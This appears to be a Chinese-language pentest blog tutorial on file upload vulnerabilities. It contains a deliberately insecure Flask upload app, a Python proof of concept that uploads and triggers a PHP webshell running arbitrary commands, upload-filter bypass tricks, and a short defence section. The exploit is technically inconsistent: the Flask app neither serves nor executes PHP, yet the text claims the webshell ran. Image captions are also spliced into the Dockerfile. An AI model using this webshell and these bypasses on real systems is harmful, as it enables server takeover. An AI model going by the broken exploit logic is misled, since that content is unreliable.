0x01 攻击板块

某个互联网公司正准备上线新的文件共享平台，然而在一次授权渗透测试中，我们发现该平台存在文件上传漏洞。该漏洞允许攻击者上传恶意文件，最终导致服务器被完全控制。为了揭露这一风险，本文将深入分析文件上传漏洞的攻击原理、利用技巧以及防御措施。请注意，本文仅用于授权测试与学习。

0x02 攻击的起源

文件上传功能是许多web应用必不可少的一部分，但其潜在的安全威胁常常被忽视。在我们的案例中，文件上传功能未正确验证文件类型和内容，导致攻击者可以上传恶意文件并执行任意代码。

漏洞成因

  1. 缺乏严格的文件类型验证：应用仅通过文件扩展名来判断类型，却没有检查文件内容。
  2. 不安全的文件存储路径：上传文件直接存储在服务器可执行路径。
  3. 缺乏权限控制：用户可以上传并访问所有文件，无需认证。

0x03 实战环境搭建

在攻击开始前，我们需要搭建一个模拟环境来验证漏洞的存在。使用Docker可以快速创建一个包含文件上传功能的简易web应用。

环境搭建步骤

使用以下Dockerfile创建一个简单的web应用：

黑客示意图

<pre><code class="language-dockerfile">FROM python:3.8-slim

WORKDIR /app

黑客示意图

COPY . /app

RUN pip install flask

EXPOSE 5000

CMD [&quot;python&quot;, &quot;app.py&quot;]</code></pre>

创建app.py文件来实现文件上传功能：

<pre><code class="language-python">from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route(&#039;/&#039;, methods=[&#039;GET&#039;, &#039;POST&#039;]) def upload_file(): if request.method == &#039;POST&#039;: f = request.files[&#039;file&#039;] f.save(&#039;/app/uploads/&#039; + f.filename) return &#039;File uploaded successfully&#039; return &#039;&#039;&#039; &lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt; &lt;input type=&quot;file&quot; name=&quot;file&quot;/&gt; &lt;input type=&quot;submit&quot;/&gt; &lt;/form&gt; &#039;&#039;&#039;

if __name__ == &#039;__main__&#039;: app.run(host=&#039;0.0.0.0&#039;, port=5000)</code></pre>

通过上述代码，我们创建了一个简单的文件上传应用，目标是找到上传漏洞并进行利用。

0x04 Payload构造的艺术

在确认漏洞存在后，我们需要构造有效的Payload来对目标进行攻击。攻击的关键在于上传一个嵌入恶意代码的文件，并在服务器执行。

POC代码实现

使用Python创建恶意PHP脚本上传并执行：

<pre><code class="language-python">import requests

url = &#039;http://localhost:5000/&#039; file_path = &#039;shell.php&#039;

构建恶意PHP文件

with open(file_path, &#039;w&#039;) as f: f.write(&#039;&lt;?php echo &quot;Shell executed&quot;; system($_GET[&quot;cmd&quot;]); ?&gt;&#039;)

上传恶意文件

files = {&#039;file&#039;: open(file_path, &#039;rb&#039;)} response = requests.post(url, files=files) print(response.text)

通过访问上传的文件执行命令

exploit_url = &#039;http://localhost:5000/uploads/shell.php?cmd=ls&#039; exploit_response = requests.get(exploit_url) print(exploit_response.text)</code></pre>

通过这个脚本，我们成功上传并执行了一个PHP Webshell，能够在服务器上运行任意命令。

0x05 绕过/免杀技巧

黑客示意图

许多web应用尝试通过限制文件类型或对文件内容进行扫描来防止上传恶意代码。然而攻击者可以利用多种方法进行绕过。

绕过方法

  1. 文件扩展名欺骗：将恶意代码嵌入合法文件类型中，例如上传JPEG文件时将PHP代码隐藏在文件尾部。
  2. 双扩展名技巧：使用多重扩展名如shell.php.jpg，服务器可能只检查最后一个扩展名。
  3. 内容混淆：通过编码混淆或加密实现代码隐藏，例如使用Base64编码。

0x06 检测与防御

虽然攻击者有多种方法来绕过安全措施，但完善的检测和防御系统能有效降低风险。

防御措施

  1. 严格验证文件类型：不仅检测文件扩展名，还应该检查文件的MIME类型及内容。
  2. 文件存储路径隔离：将上传文件存储于非可执行路径，并对访问进行权限控制。
  3. 对文件进行安全扫描：使用安全工具扫描上传内容以检测潜在的恶意代码。

检测技术

使用EDR工具实时监控文件上传目录的变化，设置告警规则检测可疑文件活动。

0x07 个人经验分享

在多年的渗透测试中，文件上传漏洞始终是一个让人惊讶的存在。通过不断探索漏洞成因以及与开发人员交流，可以有效提升应用的安全性。务必在开发阶段就考虑潜在的攻击载体，并及时修复漏洞才是上策。

最后，提醒各位研究员务必遵循法律法规，所有技术仅限于授权测试与学习。希望本文能够帮助大家更好地理解文件上传漏洞的风险及处理方法。

黑客示意图